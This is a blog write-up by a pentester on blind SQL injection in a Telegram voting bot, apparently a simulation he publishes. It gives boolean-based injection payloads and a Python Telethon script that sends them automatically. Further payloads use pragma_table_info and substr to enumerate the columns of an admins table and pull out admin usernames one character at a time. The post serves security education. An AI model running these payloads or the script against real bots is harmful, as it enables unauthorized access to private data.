SQL Injection in Telegram Bot

SQL Injection in Telegram Bot

Hi everyone, I’m Eiliya Keshtkar, a web and mobile pentester who enjoys digging into systems, breaking them apart, and simulating vulnerabilities to understand how things fail.

Where did it start?

Recently, I became curious about a case where an anonymous Telegram bot had been hacked, exposing messages that were supposed to remain private. When I analyzed the leaked data, the structure felt eerily neat, like database tables. That strongly suggested SQL Injection.

A few days later, I came across another Telegram bot — this one built for simple voting. It looked harmless enough, with buttons like:

Vote for — DuckMen

Vote for — Wolfy

Vote for — Just a random old man

At first glance, nothing unusual. But there was a red flag: all the buttons shared the same structure. That symmetry hinted at something worth testing.

Step 1: Confirming Injection

The first test I reached for was a boolean-based SQLi payload, quick and reliable.

True condition

Vote for - DuckMen" and "1"="1

Response:

You voted for DuckMen! 🎉
You can see the full result: /result
Current votes: 841

False condition

Vote for - DuckMen" and "1"="2

Response: (no output)

That was the confirmation I needed: the bot was vulnerable.

Step 2: Automating with Python + Telethon

Manually fuzzing table names would be painful, so I wrote a Python script using Telethon to automate payload delivery:

from telethon import TelegramClient
import asyncio

api_id = 0000000  # your test API ID
api_hash = 'API_HASH'
bot_username = '@HML_Simulation_BOT'

# Read payloads from local file
with open('payloads.txt', 'r') as f:
    payloads = [line.strip() for line in f.readlines()]

async def main():
    client = TelegramClient('test_session', api_id, api_hash)
    await client.start()

    for payload in payloads:
        message = f'Vote for - " OR EXISTS(SELECT 1 FROM {payload}) --'
        await client.send_message(bot_username, message)
        print(f"Sent: {message}")

    await client.disconnect()

asyncio.run(main())
SQLi in Telegram bot, Extract table name
SQLi in Telegram bot, Extract table name

This confirmed the presence of an admins table.

Step 3: Finding Column Count

To map its structure, I modified the script to check the number of columns:

for i in range(0,10):
    message = f"Vote for - Wolfy\" AND (SELECT count(*) FROM pragma_table_info('admins'))={i} --"
    await client.send_message(bot_username, message)

Step 4: Enumerating Column Names

Using pragma_table_info, I extracted column names one character at a time:

Vote for - DuckMen" AND substr((SELECT name FROM pragma_table_info('admins') LIMIT 0,1),1,1)='u' --
Vote for - DuckMen" AND substr((SELECT name FROM pragma_table_info('admins') LIMIT 0,1),2,1)='s' --

By repeating this payload i identified this three columns:

First column → user_id

Second column → username

Third column -> name

Step 5: Extracting Data

Finally, I dumped the admins usernames with substring checks:

Vote for - Wolfy" AND substr((SELECT username FROM admins LIMIT 1,1),1,1)='e' --
Vote for - Wolfy" AND substr((SELECT username FROM admins LIMIT 1,1),2,1)='1' --

Simulation Bot & Source Code

I create a simulate for this bot:

https://github.com/e1l1ya/telegram-bot-sqli-simulation

Leave a Reply

Your email address will not be published. Required fields are marked *

e1l1ya Avatar